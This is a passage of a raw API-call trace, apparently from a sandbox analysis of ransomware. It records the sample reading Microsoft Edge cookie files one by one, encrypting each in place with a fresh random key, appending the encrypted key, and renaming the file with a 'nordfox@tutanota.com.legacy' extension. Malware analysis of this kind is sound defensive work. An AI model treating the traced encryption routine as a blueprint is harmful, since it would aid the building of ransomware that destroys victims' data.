(lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\uz3q0402.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\uz3q0402.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dfb0 | out: pbBuffer=0x60dfb0) returned 1 [0192.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0192.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt", dwFileAttributes=0x80) returned 1 [0192.713] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\s7q1eh8y.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.714] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=101) returned 1 [0192.714] ReadFile (in: hFile=0x1b8c, lpBuffer=0x56f118, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x65, lpOverlapped=0x0) returned 1 [0192.715] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.715] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x65, lpOverlapped=0x0) returned 1 [0192.715] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x65 [0192.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dfb0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dfb0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.715] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60dfb0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dfb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.715] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.716] CloseHandle (hObject=0x1b8c) returned 1 [0192.716] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\s7q1eh8y.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\s7q1eh8y.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.717] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.717] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0192.717] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie", dwFileAttributes=0x80) returned 1 [0192.718] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\qpywutn9.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.719] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=202) returned 1 [0192.719] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2f69f80, nNumberOfBytesToRead=0xca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f69f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xca, lpOverlapped=0x0) returned 1 [0192.719] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-202, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.719] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2f698c0*, nNumberOfBytesToWrite=0xca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f698c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xca, lpOverlapped=0x0) returned 1 [0192.720] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xca [0192.720] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.720] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.720] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.720] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.720] CloseHandle (hObject=0x1b8c) returned 1 [0192.720] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\qpywutn9.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\QPYWUTN9.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\qpywutn9.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.722] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.722] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.722] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt", dwFileAttributes=0x80) returned 1 [0192.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\odued5iu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.723] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=382) returned 1 [0192.723] ReadFile (in: hFile=0x1b8c, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x17e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x17e, lpOverlapped=0x0) returned 1 [0192.724] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.724] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x17e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17e, lpOverlapped=0x0) returned 1 [0192.724] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17e [0192.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.724] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.725] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.725] CloseHandle (hObject=0x1b8c) returned 1 [0192.725] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\odued5iu.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ODUED5IU.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\odued5iu.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.728] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.729] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.729] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie", dwFileAttributes=0x80) returned 1 [0192.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\o6xcout8.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.730] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=553) returned 1 [0192.730] ReadFile (in: hFile=0x1b8c, lpBuffer=0x52f438, nNumberOfBytesToRead=0x229, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesRead=0x2e1f9bc*=0x229, lpOverlapped=0x0) returned 1 [0192.731] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-553, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.731] WriteFile (in: hFile=0x1b8c, lpBuffer=0x531498*, nNumberOfBytesToWrite=0x229, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x229, lpOverlapped=0x0) returned 1 [0192.731] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x229 [0192.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.731] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.732] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.732] CloseHandle (hObject=0x1b8c) returned 1 [0192.732] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\o6xcout8.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\O6XCOUT8.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\o6xcout8.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.734] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.734] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.734] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt", dwFileAttributes=0x80) returned 1 [0192.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\nbljvim8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.735] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=228) returned 1 [0192.736] ReadFile (in: hFile=0x1b8c, lpBuffer=0x609de0, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609de0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe4, lpOverlapped=0x0) returned 1 [0192.736] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.736] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60a650*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60a650*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe4, lpOverlapped=0x0) returned 1 [0192.737] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe4 [0192.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.737] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.737] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.737] CloseHandle (hObject=0x1b8c) returned 1 [0192.737] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\nbljvim8.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\NBLJVIM8.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\nbljvim8.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e1c0 | out: pbBuffer=0x60e1c0) returned 1 [0192.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0192.739] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie", dwFileAttributes=0x80) returned 1 [0192.739] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\maduevpf.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.739] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=127) returned 1 [0192.740] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2f794b8, nNumberOfBytesToRead=0x7f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f794b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x7f, lpOverlapped=0x0) returned 1 [0192.740] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.741] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2f79430*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f79430*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7f, lpOverlapped=0x0) returned 1 [0192.741] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7f [0192.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e1c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e1c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.741] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e1c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.741] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.741] CloseHandle (hObject=0x1b8c) returned 1 [0192.741] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\maduevpf.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\maduevpf.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.743] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie", dwFileAttributes=0x80) returned 1 [0192.743] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\lnym3iig.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.744] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=114) returned 1 [0192.744] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5698c8, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x72, lpOverlapped=0x0) returned 1 [0192.744] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-114, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.744] WriteFile (in: hFile=0x1b8c, 